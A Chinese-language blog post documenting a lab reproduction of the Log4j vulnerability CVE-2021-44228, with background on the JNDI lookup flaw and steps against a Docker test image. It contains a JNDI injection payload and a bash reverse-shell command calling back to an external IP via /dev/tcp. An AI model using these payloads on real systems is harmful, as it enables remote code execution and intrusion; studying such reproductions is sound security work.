CVE-2021-44228复现
CVE-2021-44228 (Apache Log4j)复现
前言
因为鄙人才疏学浅，而且专注时间太短，一直不太知道到底要复现一些什么漏洞才能提升自己的打点水平，只能先挑这些大家都耳熟能详的漏洞来尝试复现了。
遥想2021Log4j漏洞刚放出poc，各个我关注的网安up主都在发复现视频，不过当时我应该是刚高考完没多久，或者是大一，对于网安属于是一种随时准备脱离的边缘状态，不过自己一直也不混什么圈子，真走了估计连0.00001%的世界线变动都不会产生，而且当时还没接触hw，就连那点脚本小子的活都用不明白了估计。扯远了，不过我一直以为这个漏洞蛮新的，没想到已经整整两年了，真是岁月如梭。
漏洞背景&原理
“Apache Log4j是基于java的日志记录组件，被广泛应用于业务系统开发。”我对java唯一的开发经验就只是之前尝试过和朋友写一个Minecraft的mod，不过当年Log4j漏洞刚披露的时候确实有关于mc服务器因为Log4j漏洞被入侵的消息。
受影响的组件:
- Spring-boot-strater-log4j2
- Apache Solr
- Apache Flink
- Apache Druid
眼熟的只有solr和druid，不过也仅是眼熟，solr是在一次hw里面通过扫描得到内网的一台linux机器上似乎有solr相关的漏洞，然后用msf搜了个solr直接用exploit一把梭了(唉，脚本小子)，druid是之前打ctf的时候出过一提相关的，不过利用方法什么的也全忘了。
看了半天我也没想好怎么组织语言描述它的原理，先提取几个关键词出来: JNDI(Java Name and Directory Interface),LDAP(Lightweight Directory Protocol),RMI(Remote Method Invoke)，大概是说,log4j有个lookup功能的实现类JNDI实现类Jndilookup存在设计缺陷，导致于使用了JNDI接口的应用都存在被RCE的可能。
log4j的lookup功能可以快速打印运行应用容器的docker属性，环境变量，日志事件，Java应用程序环境信息等内容。
首先是__org.apache.logging.log4j.core.pattern.MessagePatternConverter#format__
此处是找的log4j2.2版本源码，写法上可能与其他版本不太一样，但是同样存在漏洞。
我们传入的message会通过MessagePattenConverter.format()，如果config存在且noLookups未false(此处似乎并未出现，不过反正noLookups默认就是false)，再匹配到${开头则替换原有字符串，我们在此处构造payload。
另外是org.apache.logging.log4j.core.lookup.Interpolator#lookup
此处是说log4j在处理event的时候是根据前缀选择对应的StrLookup进行处理的比如，date,jndi,java,main等，如果event是jndi,就能通过jndi注入导致RCE，大概吧，没了解过jndi注入，等我了解了相关的知识再回来补。
复现过程
dnglog验证漏洞
通过docker拉取漏洞镜像vulfocus/log4j2-rce-2021-12-09:latest并启动。
点击链接会发送payload，我们使用hackbar构造payload:${jndi:ldap://4zjth6.dnslog.cn}来验证是否存在漏洞。(payload要进行url编码)
成功执行。
jndi注入反弹shell
下载https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0搭建虚假ldap,rwi服务
命令为``
1 | |
使用-C传入需要执行的命令，似乎一定要base64编码后才可以，此处为bash -i >& /dev/tcp/112.74.126.200/59852 0>&1的base64编码。-A传入虚假服务的服务器ip
复制提供的url:rmi://112.74.126.200:1099/fxpa7c构造payload
成功反弹，不过不知道为什么成功率非常之低，成功过一次之后我修改了一点参数之后就再也没法复现了，真是奇怪了。